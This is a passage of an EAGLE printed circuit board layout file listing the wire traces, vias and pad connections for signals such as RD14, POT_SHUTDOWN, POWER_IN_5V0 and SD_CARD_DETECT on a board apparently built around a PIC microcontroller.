x1=\"28.2\" y1=\"44\" x2=\"28.2\" y2=\"51\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"27\" y1=\"42.8\" x2=\"28.2\" y2=\"44\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"49.2\" y1=\"54.2\" x2=\"49.28\" y2=\"54.2066\" width=\"0.2\" layer=\"1\"/>\n<via x=\"31.6\" y=\"54.4\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"28.2\" y=\"44\" extent=\"1-16\" drill=\"0.4\"/>\n<contactref element=\"JP14\" pad=\"1\"/>\n<wire x1=\"7.6\" y1=\"37.6\" x2=\"7.6\" y2=\"35.08\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"7.6\" y1=\"35.08\" x2=\"7.47\" y2=\"34.95\" width=\"0.2\" layer=\"1\"/>\n<contactref element=\"USD_1\" pad=\"7\"/>\n<contactref element=\"R35\" pad=\"2\"/>\n<wire x1=\"99.9\" y1=\"73\" x2=\"14.1\" y2=\"73\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"100.2\" y1=\"72.7\" x2=\"99.9\" y2=\"73\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"100.2\" y1=\"61.3\" x2=\"100.2\" y2=\"63.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"100.2\" y1=\"63.5\" x2=\"100.2\" y2=\"72.7\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"13.8\" y1=\"72.7\" x2=\"14.1\" y2=\"73\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"14.4\" y1=\"53.4\" x2=\"14.1\" y2=\"53.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"27.9\" y1=\"53.4\" x2=\"14.4\" y2=\"53.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"28.4\" y1=\"52.9\" x2=\"27.9\" y2=\"53.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"28.7\" y1=\"52.9\" x2=\"28.4\" y2=\"52.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"28.8\" y1=\"52.8\" x2=\"28.7\" y2=\"52.9\" width=\"0.2\" layer=\"1\"/>\n<via x=\"100.2\" y=\"72.7\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"100.2\" y=\"61.3\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"13.8\" y=\"72.7\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"14.1\" y=\"53.1\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"28.8\" y=\"52.8\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"27\" y1=\"42.8\" x2=\"15.9\" y2=\"42.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"15.9\" y1=\"42.8\" x2=\"15.6\" y2=\"43.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"15.6\" y1=\"43.1\" x2=\"13.1\" y2=\"43.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"7.6\" y1=\"37.6\" x2=\"13.1\" y2=\"43.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"102.95\" y1=\"57.55\" x2=\"102.5\" y2=\"57.55\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"102.5\" y1=\"57.55\" x2=\"102.5\" y2=\"57.7\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"102.5\" y1=\"57.7\" x2=\"101.9\" y2=\"57.7\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"101.9\" y1=\"57.7\" x2=\"101.3\" y2=\"58.3\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"88.65\" y1=\"56.9\" x2=\"88.65\" y2=\"61.65\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"88.65\" y1=\"61.65\" x2=\"89.1\" y2=\"62.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"89.1\" y1=\"62.1\" x2=\"89.1\" y2=\"63.4\" width=\"0.2\" layer=\"16\"/>\n<via x=\"89.1\" y=\"63.4\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"89.1\" y1=\"63.4\" x2=\"89.3\" y2=\"63.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"89.3\" y1=\"63.2\" x2=\"92.5\" y2=\"63.2\" width=\"0.2\" layer=\"1\"/>\n<via x=\"92.5\" y=\"63.2\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"97.4\" y1=\"61.7\" x2=\"99.2\" y2=\"63.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"99.2\" y1=\"63.5\" x2=\"100.2\" y2=\"63.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"101.3\" y1=\"58.3\" x2=\"101.3\" y2=\"58.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"101.3\" y1=\"58.9\" x2=\"101.4\" y2=\"59\" width=\"0.2\" layer=\"16\"/>\n<via x=\"101.4\" y=\"59\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"101.4\" y1=\"59\" x2=\"101.4\" y2=\"60.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"101.4\" y1=\"60.1\" x2=\"100.2\" y2=\"61.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"92.5\" y1=\"63.7\" x2=\"92.5\" y2=\"63.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"96.2\" y1=\"62\" x2=\"96.5\" y2=\"61.7\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"96.5\" y1=\"61.7\" x2=\"97.4\" y2=\"61.7\" width=\"0.2\" layer=\"16\"/>\n<contactref element=\"TP27\" pad=\"TP\"/>\n<wire x1=\"7.47\" y1=\"34.95\" x2=\"7.32\" y2=\"35.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"7.32\" y1=\"35.1\" x2=\"1.9\" y2=\"35.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"28.8\" y1=\"52.8\" x2=\"29.4\" y2=\"52.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"96.2\" y1=\"62\" x2=\"96.2\" y2=\"62.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"96.2\" y1=\"62.9\" x2=\"96.5\" y2=\"63.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"96.5\" y1=\"63.2\" x2=\"97.3\" y2=\"63.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"97.3\" y1=\"63.2\" x2=\"97.7\" y2=\"63.6\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"97.7\" y1=\"63.6\" x2=\"97.7\" y2=\"65.8\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"97.7\" y1=\"65.8\" x2=\"97.3\" y2=\"66.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"97.3\" y1=\"66.2\" x2=\"95\" y2=\"66.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"95\" y1=\"66.2\" x2=\"92.5\" y2=\"63.7\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"14.1\" y1=\"53.1\" x2=\"14.1\" y2=\"58.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"14.1\" y1=\"58.5\" x2=\"18.7\" y2=\"63.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"18.7\" y1=\"63.1\" x2=\"18.7\" y2=\"64.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"18.7\" y1=\"64.2\" x2=\"17.8\" y2=\"65.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"17.8\" y1=\"65.1\" x2=\"17.8\" y2=\"66.3\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"17.8\" y1=\"66.3\" x2=\"16.2\" y2=\"67.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"16.2\" y1=\"67.9\" x2=\"14.9\" y2=\"67.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"14.9\" y1=\"67.9\" x2=\"13.8\" y2=\"69\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"13.8\" y1=\"69\" x2=\"13.8\" y2=\"72.7\" width=\"0.2\" layer=\"16\"/>\n</signal>\n<signal name=\"RD14\">\n<contactref element=\"U6\" pad=\"47\"/>\n<wire x1=\"61.4\" y1=\"45.7\" x2=\"61.4\" y2=\"44.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"63.1\" y1=\"45.7\" x2=\"61.4\" y2=\"45.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"67.8\" y1=\"41\" x2=\"63.1\" y2=\"45.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"67.8\" y1=\"39.4\" x2=\"67.8\" y2=\"41\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"69.3\" y1=\"37.9\" x2=\"67.8\" y2=\"39.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"70.3\" y1=\"37.9\" x2=\"69.3\" y2=\"37.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"70.7\" y1=\"36.9\" x2=\"70.3\" y2=\"37.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"70.7\" y1=\"35.2\" x2=\"70.7\" y2=\"36.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"70.9\" y1=\"35\" x2=\"70.7\" y2=\"35.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"61.4\" y1=\"44.6\" x2=\"61.3958\" y2=\"44.58\" width=\"0.2\" layer=\"1\"/>\n<via x=\"70.3\" y=\"37.9\" extent=\"1-16\" drill=\"0.4\"/>\n<contactref element=\"JP14\" pad=\"26\"/>\n<wire x1=\"71\" y1=\"35\" x2=\"70.97\" y2=\"34.95\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"70.9\" y1=\"35\" x2=\"70.97\" y2=\"34.95\" width=\"0.2\" layer=\"16\"/>\n</signal>\n<signal name=\"!POT_SHUTDOWN\">\n<contactref element=\"U6\" pad=\"48\"/>\n<contactref element=\"U1\" pad=\"12\"/>\n<wire x1=\"61.9\" y1=\"42.1\" x2=\"61.9\" y2=\"44.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"64.4\" y1=\"40.4\" x2=\"63.4\" y2=\"41.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"69.7\" y1=\"40.4\" x2=\"64.4\" y2=\"40.4\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"71.1\" y1=\"38.3\" x2=\"71.1\" y2=\"39\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"73.4\" y1=\"36\" x2=\"71.1\" y2=\"38.3\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"73.4\" y1=\"35\" x2=\"73.4\" y2=\"36\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"61.9\" y1=\"44.5\" x2=\"61.9038\" y2=\"44.58\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"72.5\" y1=\"24.2\" x2=\"72.4\" y2=\"24.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"73.7\" y1=\"24.2\" x2=\"72.5\" y2=\"24.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"74\" y1=\"24.5\" x2=\"73.7\" y2=\"24.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"73.7\" y1=\"24.8\" x2=\"74\" y2=\"24.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"73.7\" y1=\"34\" x2=\"73.7\" y2=\"24.8\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"73.5\" y1=\"34.2\" x2=\"73.7\" y2=\"34\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"73.5\" y1=\"34.9\" x2=\"73.5\" y2=\"34.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"72.4\" y1=\"24.1\" x2=\"72.3622\" y2=\"24.07\" width=\"0.2\" layer=\"1\"/>\n<via x=\"64.4\" y=\"40.4\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"74\" y=\"24.5\" extent=\"1-16\" drill=\"0.4\"/>\n<wire x1=\"71.1\" y1=\"39\" x2=\"69.7\" y2=\"40.4\" width=\"0.2\" layer=\"16\"/>\n<contactref element=\"JP14\" pad=\"27\"/>\n<wire x1=\"73.5\" y1=\"35\" x2=\"73.51\" y2=\"34.95\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"73.4\" y1=\"35\" x2=\"73.51\" y2=\"34.95\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"73.5\" y1=\"34.9\" x2=\"73.51\" y2=\"34.95\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"63.4\" y1=\"41.4\" x2=\"62.6\" y2=\"41.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"62.6\" y1=\"41.4\" x2=\"61.9\" y2=\"42.1\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"SIM_VPP(UNUSED)\">\n<contactref element=\"U7\" pad=\"CARD_VPP_PIN6\"/>\n<contactref element=\"SIMVPP\" pad=\"1\"/>\n<wire x1=\"3.9\" y1=\"68.4\" x2=\"11.4\" y2=\"68.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"13.9\" y1=\"64\" x2=\"13.96\" y2=\"63.92\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"11.4\" y1=\"68.4\" x2=\"14.1\" y2=\"65.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"14.1\" y1=\"65.7\" x2=\"14.1\" y2=\"64.06\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"14.1\" y1=\"64.06\" x2=\"13.96\" y2=\"63.92\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"3.9\" y1=\"68.4\" x2=\"2.9\" y2=\"67.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"2.9\" y1=\"67.4\" x2=\"2\" y2=\"67.4\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"N$20\">\n<via x=\"94.7\" y=\"38.2\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"94.7\" y1=\"38.2\" x2=\"94.9\" y2=\"38.4\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"94.9\" y1=\"38.4\" x2=\"94.9\" y2=\"40.3\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"94.9\" y1=\"40.3\" x2=\"94.7\" y2=\"40.1\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"94.5\" y1=\"32.2\" x2=\"95.1\" y2=\"32.8\" width=\"0.4\" layer=\"16\"/>\n<wire x1=\"95.1\" y1=\"32.8\" x2=\"95.1\" y2=\"37.6\" width=\"0.4\" layer=\"16\"/>\n<wire x1=\"95.1\" y1=\"37.6\" x2=\"94.7\" y2=\"38\" width=\"0.4\" layer=\"16\"/>\n<wire x1=\"94.7\" y1=\"38\" x2=\"94.7\" y2=\"38.2\" width=\"0.4\" layer=\"16\"/>\n</signal>\n<signal name=\"N$22\">\n</signal>\n<signal name=\"N$23\">\n</signal>\n<signal name=\"POWER_IN_5V0\">\n<contactref element=\"F1\" pad=\"2\"/>\n<contactref element=\"JP18\" pad=\"1\"/>\n<wire x1=\"101.5\" y1=\"63.15\" x2=\"101.96780625\" y2=\"63.25024375\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"101.96780625\" y1=\"63.25024375\" x2=\"102.2\" y2=\"63.3\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"102.2\" y1=\"63.3\" x2=\"106.1\" y2=\"63.3\" width=\"0.6\" layer=\"1\"/>\n<wire x1=\"106.1\" y1=\"63.3\" x2=\"106.1\" y2=\"63.773\" width=\"0.6\" layer=\"1\"/>\n<contactref element=\"TP19\" pad=\"TP\"/>\n<wire x1=\"102.2\" y1=\"64.7\" x2=\"103.127\" y2=\"63.773\" width=\"0.4\" layer=\"16\"/>\n<wire x1=\"103.127\" y1=\"63.773\" x2=\"106.1\" y2=\"63.773\" width=\"0.4\" layer=\"16\"/>\n<contactref element=\"U$2\" pad=\"VBUS\"/>\n<wire x1=\"103.8\" y1=\"53.1\" x2=\"105.2\" y2=\"53.1\" width=\"0.5\" layer=\"1\"/>\n<wire x1=\"105.2\" y1=\"53.1\" x2=\"107.4\" y2=\"55.3\" width=\"0.5\" layer=\"1\"/>\n<wire x1=\"107.4\" y1=\"55.3\" x2=\"107.5\" y2=\"55.3\" width=\"0.5\" layer=\"1\"/>\n<via x=\"107.5\" y=\"55.3\" extent=\"1-16\" drill=\"0.7\"/>\n<wire x1=\"107.5\" y1=\"55.3\" x2=\"107.5\" y2=\"62.373\" width=\"0.5\" layer=\"16\"/>\n<wire x1=\"107.5\" y1=\"62.373\" x2=\"106.1\" y2=\"63.773\" width=\"0.5\" layer=\"16\"/>\n</signal>\n<signal name=\"PIC_SDO1\">\n<contactref element=\"U6\" pad=\"72\"/>\n<contactref element=\"JP15\" pad=\"33\"/>\n<wire x1=\"64.52\" y1=\"56.6958\" x2=\"74.8958\" y2=\"56.6958\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"74.8958\" y1=\"56.6958\" x2=\"86\" y2=\"67.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"86\" y1=\"67.8\" x2=\"87.9\" y2=\"67.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"87.9\" y1=\"67.8\" x2=\"88.7\" y2=\"68.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"88.7\" y1=\"68.6\" x2=\"88.7\" y2=\"70.15\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"88.7\" y1=\"70.15\" x2=\"88.75\" y2=\"70.2\" width=\"0.2\" layer=\"1\"/>\n<contactref element=\"USD_1\" pad=\"3\"/>\n<contactref element=\"R34\" pad=\"2\"/>\n<wire x1=\"91.3\" y1=\"66.7\" x2=\"92.5\" y2=\"67.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"91.3\" y1=\"65.8\" x2=\"91.3\" y2=\"66.7\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"91.6\" y1=\"65.5\" x2=\"91.3\" y2=\"65.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"91.6\" y1=\"64\" x2=\"91.6\" y2=\"65.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"90\" y1=\"61\" x2=\"91.6\" y2=\"62.6\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"90\" y1=\"50.2\" x2=\"90\" y2=\"53.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"90\" y1=\"53.2\" x2=\"90\" y2=\"61\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"92.5\" y1=\"68.4\" x2=\"92.5\" y2=\"67.9\" width=\"0.2\" layer=\"16\"/>\n<via x=\"91.3\" y=\"65.8\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"91.6\" y=\"64\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"92.5\" y=\"68.4\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"88.8\" y1=\"52.8\" x2=\"88.8\" y2=\"52.85\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"88.8\" y1=\"52.85\" x2=\"88.55\" y2=\"53.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"93.2\" y1=\"47\" x2=\"92.25\" y2=\"47.95\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"92.25\" y1=\"47.95\" x2=\"90\" y2=\"50.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"88.55\" y1=\"53.1\" x2=\"88.65\" y2=\"53.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"88.65\" y1=\"53.2\" x2=\"90\" y2=\"53.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"92.5\" y1=\"68.4\" x2=\"91.9\" y2=\"67.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"91.9\" y1=\"67.8\" x2=\"87.9\" y2=\"67.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"102.95\" y1=\"53.15\" x2=\"101.95\" y2=\"53.15\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"101.95\" y1=\"53.15\" x2=\"101.2\" y2=\"52.4\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"101.2\" y1=\"52.4\" x2=\"101.2\" y2=\"48.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"101.2\" y1=\"48.2\" x2=\"100\" y2=\"47\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"100\" y1=\"47\" x2=\"93.2\" y2=\"47\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"91.6\" y1=\"62.6\" x2=\"91.6\" y2=\"64\" width=\"0.2\" layer=\"16\"/>\n<contactref element=\"TP25\" pad=\"TP\"/>\n<wire x1=\"89.2\" y1=\"46.7\" x2=\"91\" y2=\"46.7\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"91\" y1=\"46.7\" x2=\"92.25\" y2=\"47.95\" width=\"0.2\" layer=\"16\"/>\n</signal>\n<signal name=\"SD_CARD_DETECT\">\n<contactref element=\"R36\" pad=\"2\"/>\n<contactref element=\"USD_1\" pad=\"A\"/>\n<via x=\"89.2\" y=\"66.4\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"89.2\" y1=\"66.4\" x2=\"89.01\" y2=\"66.4\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"101.9\" y1=\"60.39\" x2=\"97.21\" y2=\"60.39\" width=\"0.2\" layer=\"16\"/>\n<via x=\"94.7\" y=\"62.9\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"97.21\" y1=\"60.39\" x2=\"94.7\" y2=\"62.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"85.8\" y1=\"60.65\" x2=\"86.9\" y2=\"61.75\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"86.9\" y1=\"61.75\" x2=\"86.9\" y2=\"63.4\" width=\"0.2\" layer=\"16\"/>\n<via x=\"86.9\" y=\"63.4\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"86.9\" y1=\"63.4\" x2=\"87.8\" y2=\"62.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"86.9\" y1=\"63.4\" x2=\"89.2\" y2=\"65.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"89.2\" y1=\"65.7\" x2=\"89.2\" y2=\"66.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"87.8\" y1=\"62.5\" x2=\"94.1\" y2=\"62.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"94.1\" y1=\"62.5\" x2=\"94.5\" y2=\"62.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"94.5\" y1=\"62.9\" x2=\"94.7\" y2=\"62.9\" width=\"0.2\" layer=\"1\"/>\n<contactref element=\"U6\" pad=\"87\"/>\n<wire x1=\"57.8\" y1=\"70\" x2=\"57.8\" y2=\"66.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"57.8\" y1=\"66.5\" x2=\"57.8\" y2=\"61.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"58\" y1=\"70.2\" x2=\"57.8\" y2=\"70\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"57.4\" y1=\"59.9\" x2=\"57.408\" y2=\"59.82\" width=\"0.2\" layer=\"1\"/>\n<via x=\"57.8\" y=\"61.5\" extent=\"1-16\" drill=\"0.4\"/>\n<contactref element=\"JP15\" pad=\"21\"/>\n<wire x1=\"58\" y1=\"70.2\" x2=\"58.27\" y2=\"70.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"70.8\" y1=\"65.3\" x2=\"74.8\" y2=\"65.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"69.9\" y1=\"66.2\" x2=\"70.8\" y2=\"65.3\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"69.9\" y1=\"67.1\" x2=\"69.9\" y2=\"66.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"67.4\" y1=\"67.1\" x2=\"69.9\" y2=\"67.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"66.7\" y1=\"67.8\" x2=\"67.4\" y2=\"67.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"62.6\" y1=\"67.8\" x2=\"66.7\" y2=\"67.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"61.3\" y1=\"66.5\" x2=\"62.6\" y2=\"67.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"58.9\" y1=\"66.5\" x2=\"61.3\" y2=\"66.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"57.8\" y1=\"66.5\" x2=\"58.9\" y2=\"66.5\" width=\"0.2\" layer=\"16\"/>\n<via x=\"76.1\" y=\"64.4\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"70.8\" y=\"65.3\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"69.9\" y=\"67.1\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"58.9\" y=\"66.5\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"76.2\" y1=\"64.3\" x2=\"83.5\" y2=\"64.3\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"83.5\" y1=\"64.3\" x2=\"83.85\" y2=\"63.95\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"83.85\" y1=\"63.95\" x2=\"84.5\" y2=\"63.3\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"84.5\" y1=\"63.3\" x2=\"86.8\" y2=\"63.3\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"86.8\" y1=\"63.3\" x2=\"86.9\" y2=\"63.4\" width=\"0.2\" layer=\"16\"/>\n<contactref element=\"TP28\" pad=\"TP\"/>\n<wire x1=\"82.8\" y1=\"62.7\" x2=\"83.85\" y2=\"63.75\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"83.85\" y1=\"63.75\" x2=\"83.85\" y2=\"63.95\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"57.4\" y1=\"59.9\" x2=\"57.4\" y2=\"61.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"57.4\" y1=\"61.1\" x2=\"57.8\" y2=\"61.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"76.1\" y1=\"64.4\" x2=\"75.7\" y2=\"64.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"75.7\" y1=\"64.4\" x2=\"74.8\" y2=\"65.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"76.2\" y1=\"64.3\" x2=\"76.1\" y2=\"64.4\" width=\"0.2\" layer=\"16\"/>\n</signal>\n<signal name=\"N$10\">\n<contactref element=\"Q1\" pad=\"1\"/>\n<contactref element=\"R2\" pad=\"1\"/>\n<wire x1=\"14.35\" y1=\"30.4\" x2=\"7.5\" y2=\"30.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"7.5\" y1=\"30.4\" x2=\"7\" y2=\"29.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"7\" y1=\"29.9\" x2=\"7\" y2=\"28.65\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"7\" y1=\"28.65\" x2=\"7.575\" y2=\"27.95\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"N$19\">\n<contactref element=\"Q1\" pad=\"2\"/>\n<contactref element=\"OPTO_MOS1\" pad=\"COM\"/>\n<wire x1=\"10.94\" y1=\"28.64\" x2=\"12.92\" y2=\"28.64\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"7.575\" y1=\"26.65\" x2=\"7.575\" y2=\"25.625\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"7.575\" y1=\"25.625\" x2=\"8.1\" y2=\"25.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"8.1\" y1=\"25.1\" x2=\"9.7\" y2=\"25.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"9.7\" y1=\"25.1\" x2=\"10.5\" y2=\"25.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"10.5\" y1=\"25.9\" x2=\"10.5\" y2=\"28.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"10.5\" y1=\"28.2\" x2=\"10.94\" y2=\"28.64\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"LC_CAL\">\n<contactref element=\"U6\" pad=\"20\"/>\n<wire x1=\"50.3\" y1=\"48.7\" x2=\"49.3\" y2=\"48.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"50.7\" y1=\"48.3\" x2=\"50.3\" y2=\"48.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"47\" y1=\"44.6\" x2=\"50.7\" y2=\"48.3\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"47\" y1=\"42.8\" x2=\"47\" y2=\"44.6\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"44\" y1=\"39.8\" x2=\"47\" y2=\"42.8\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"43.7\" y1=\"39.5\" x2=\"44\" y2=\"39.8\" width=\"0.2\" 